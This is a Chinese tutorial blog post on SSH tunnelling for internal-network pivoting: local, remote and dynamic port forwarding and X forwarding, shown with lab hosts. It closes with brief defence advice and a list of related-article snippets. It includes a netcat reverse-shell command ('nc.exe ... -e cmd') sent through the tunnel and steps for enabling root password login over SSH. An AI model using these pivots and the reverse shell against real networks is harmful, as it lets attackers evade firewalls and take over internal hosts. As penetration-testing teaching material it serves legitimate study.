ssh隧道使用

在内网中几乎所有的linux服务器和网络设备都支持ssh协议。一般情况下,ssh协议是允许通过防火墙和边界设备的,所以经常被攻击者利用。同时ssh协议的传输过程是加密的,所以我们很难区分合法的ssh会话和攻击者利用其他网络建立的隧道。攻击者使用ssh端口隧道突破防火墙的限制后,能够建立一些之前无法建立的TCP连接。

一个普通的ssh命令如下:

ssh [email protected]

创建ssh隧道的常用参数如下:

-C:压缩传输,提高传输速度

-f :将ssh传输转入后台执行,不占用当前的shell。

-N:建立静默连接(建立了连接,但是看不到具体的会话)

-g 允许远程主机连接本地用于转发的端口。

-L:本地端口转发

-R:远程端口转发

-D:动态转发(socks代理)

-P:指定ssh端口。

1.本地端口转发

测试环境如下:

外部vps可以访问内网web服务器,但是不能访问数据库服务器,内网web服务器可以和数据库服务器互相访问。

测试目标:以web服务器为跳板,访问数据库服务器的3389端口。

修改ssh服务器配置文件

/etc/ssh/sshd_config

– PermitRootLogin yes

– Port 22

– PasswordAuthentication yes

? service ssh restart

ssh -fCNg -L <listen port>:<remote ip>:<remote port> [email protected]<ssh server> -p <ssh server port>

ssh -fCNg -L 1153(vps端口):192.168.190.136(目标主机):3389(目标端口) [email protected](跳板机)

ssh -fCNg -L 1153:192.168.190.136:3389 [email protected] -p 22

netstat -anptl | grep 1153 查看本地1153端口,可以看到1153端口已经开启侦听。

使用rdesktop连接vps的1153端口,可以发现已经与数据服务器192.168.190.136的3389建立了连接

rdesktop 127.0.0.1:1153

ssh进程的本地端口映射可以将本地(客户机)的某个端口转发到远端指定机器的指定端口;本地端口转发则是在本地(客户机)监听一个端口,所有访问这个端口的数据都会通过ssh隧道传输到远端的对应端口。

加密传输:

linux1 : 192.168.190.110

linux2: 192.168.190.133

win7: 192.168.190.136

win2008: 192.168.190.132

在linux1和linux之间建立一条ssh隐秘隧道,使win2008将自己的shell通过ssh隧道反弹给win7。

在linux1上执行如下命令:

ssh -fCNg -L 7006:192.168.190.136:333 [email protected] -p 22

在win7上使用nc监听本地333端口

nc -lvp 333

在win ser2008上使用nc连接linux1的7006端口

nc.exe 192.168.190.110 7006 -e cmd

回到win7上可以看到已经获得了win2008的shell了。

2.远程端口转发

测试环境如下:

左侧为攻击者vps(kali linux);右侧是一个小型内网,包含三台机器;内网没有边界设备,所以外部的vps不能访问内网中的三台机器;内网web服务器可以访问外网vps,数据库服务器和域控服务器均不能访问外网的vps。

测试目标:通过外网vps访问数据库服务器的3389端口。

以web服务器为跳板,将vps的1521端口的流量转发到数据库服务器的3389端口,然后访问vps的1521端口,就可以访问数据库服务器192.168.190.136的3389端口了。

在web服务器上执行如下命令:

ssh -fNg -R <listen port>:<remote ip>:<remote port> [email protected]<SSH server> -p <ssh server port>

ssh -fCNg -R 1521(vps端口):192.168.190.136(目标主机):3389 [email protected]

ssh -fCNg -R 1521:192.168.190.136:3389 [email protected]

netstat -anptl | grep 1521 查看远程vps(192.168.190.110)发现已经开启对1521端口的监听

rdesktop 127.0.0.1:1521 访问vps的1521端口,即可与数据库服务器的3389端口建立连接。

总结:本地转发是在本地监听并将远程主机某个端口的数据转发到本地服务器的指定端口。远程端口转发则是在远程主机上监听一个端口,所有访问远程服务器指定端口的数据都会通过ssh隧道传输到本地的对应端口上。

3.动态转发

测试环境如下:

在vps上执行如下命令,建立一个动态的socks代理通道

ssh fCNg -D 7000 [email protected]

查看本地7000端口的监听是否已经启动,可以看到ssh正在监听7000端口。

然后,在本地打开浏览器并设置网络代理,通过浏览器访问内网域控制器(192.168.190.132)。

总结:动态端口映射就是建立一个ssh加密的socks代理通道。任何支持socks4/5协议的程序都可以使用这个加密隧道进行代理访问。

4.X协议转发

1.远程登陆 Linux GUI 运行图形化界面工具,类似于VNC和X windows。

2.防火墙限制访问时,可以尝试通过 SSH 的 X 转发

ssh -X [email protected]192.168.199.165 -p 53

X协议转发测试

可以使用远程主机的图像化工具

ssh -X [email protected]

5.ssh隧道防御

ssh隧道之所以能被攻击者利用,主要是因为系统访问控制措施不够。在系统中配置ssh远程管理白名单,在ACL中限制只有特定的ip地址才能连接ssh,以及设置系统完全使用带外管理等方法,都可以避免这一问题。如果没有足够的资源来建立带外管理的网络结构,在内网中至少要限制ssh远程登录的地址和双向访问控制策略(从外部到内部、从内部到外部)。

原文地址:https://www.cnblogs.com/micr067/p/12253615.html

时间: 2024-08-29 19:12:52

ssh隧道使用的相关文章

SSH隧道技术----端口转发,socket代理

本文大部分参考引用加copy:http://blog.chinaunix.net/uid-20761674-id-74962.html 本文的受众 如果你遇到了以下问题,那么你应该阅读这篇文章 我听说过这种技术,我对它很感兴趣 我想在家里访问我在公司的机器(写程序,查数据,下电影). 公司为了防止我们用XX软件封锁了它的端口或者服务器地址. 公司不让我们上XX网站,限制了网址甚至IP. 公司不让我们看关于XX的信息,甚至花血本买了XX设备,能够对内容进行过滤.一看XX内容,链接就中断了. 我爸是

虚拟环境实现SSH隧道

1.实验目的 讲解如何建立SSH隧道,如何利用SSH隧道进行加密通信 在上一个实验中进行了流量重定向的简单介绍,那么SSH隧道跟重定向之间有什么差别呢?重定向不能保证传输数据的的安全性,使用SSH隧道我们能实现流量的双向加密通信. 2.实验环境准备 实验拓扑图: 虚拟机:Virtualbox 客户机A:32bit kali Linux,ip:1.1.1.10(Host-Only) 防火墙:m0n0wall,Lan Ip:1.1.1.1(两块虚拟网卡,一块Host-Only,一块桥接) 机器B:3

Python通过SSH隧道链接Kafka

Python通过SSH隧道链接Kafka 最近有一个需求需要连接Kafka,但是它只允许内网链接,但是有些服务跑在服务器上总没有在我本机调试起来爽,毕竟很多开发工具还是在客户端机器上用的熟练.于是我想到了通过SSH连接Kafka,至于怎么连接可以通过XShell.Proxifier等等,由于个人还是觉得自己写更灵活,所以我是用Python里的sshtunnel写的(有需要后面我也可以分享下),个人喜好啊,你们自行选择. 由于笔者这里的Kafka环境使用Zookeeper做分布式部署,有多个bro

JDBC远程从一个MySql数据库中的一张表里面读出数据(这个数据库需要用SSH隧道连接,大约8W条数据),然后分别插入到另一个数据库中的两张表里

package com.eeepay.lzj.db; import java.sql.Connection; import java.sql.Date; import java.sql.DriverManager; import java.sql.PreparedStatement; import java.sql.ResultSet; import java.sql.SQLException; import com.jcraft.jsch.JSch; import com.jcraft.jsc

【转载】三种不同类型的ssh隧道

  转自:http://blog.creke.net/722.html   大家都知道SSH是一种安全的传输协议,用在连接服务器上比较多.不过其实除了这个功能,它的隧道转发功能更是吸引人.下面是个人根据自己的需求以及在网上查找的资料配合自己的实际操作所得到的一些心得. SSH/plink命令的基本资料: 首先,认识下这三个非常强大的命令: ssh -C -f -N -g -L listen_port:DST_Host:DST_port [email protected]_Host ssh -C

配置SSH隧道访问Ubuntu服务器上的MongoDB

为了数据安全,在MongoDB的配置文件里,一般会把默认的27017端口port改为自定义的端口号,然后把允许访问的IP设为127.0.0.1(即主机本身).但是这样就会在开发的过程查看数据时带来麻烦,必须去服务器端或调用部署在服务器的API接口才能很好地可视化地查询数据.为了能在客户端也能使用可视化工具,可以建立一条SSH隧道,直接在客户端访问远程服务器的数据库. 本文例子基于以下开发环境: 服务器端:Ubuntu 16.04 x86_64,MongoDB 3.4.6 客户端:Windows1

流量操控之SSH隧道与端口转发

目  录 第1章            概述... 3 1.1.         实现命令... 3 1.2.         SSH隧道类型... 3 第2章            SSH隧道... 4 2.1.         动态映射(Socks代理)... 4 2.1.1.   命令... 4 2.1.2.   相关参数说明... 4 2.1.3.   意义... 4 2.1.4.   运用场景... 4 2.1.5.   优点... 6 2.1.6.   缺点... 6 2.2.   

ARP欺骗&SSH隧道实验

ARP欺骗&SSH隧道实验

公司内网Debian Server上的openvpn服务器搭建并通过SSH隧道转发到广域网

由于戴维营公司在长沙的学员,研发人员和北京的研发人员需要协同研发,故需要让北京的兄弟们加入到长沙办公室的内网,访问版本 管理服务器,于是采用在内网服务器上搭建一个OpenVPN服务,并把内网(铁道的宽带,木有分配动态的广域网ip给WAN,悲剧.)的OpenVPN服务端口通过ssh隧道转发到广域网上某个服务器上. 以下是记录过程: OpenVPN服务软件包系统仓库里有现成的包,直接apt-get安装: 1 [email protected]:#apt-get -y install openvpn

正向反向与动态socks代理的SSH隧道介绍

正文请见附件.谢谢! 正向反向与动态socks代理的SSH隧道介绍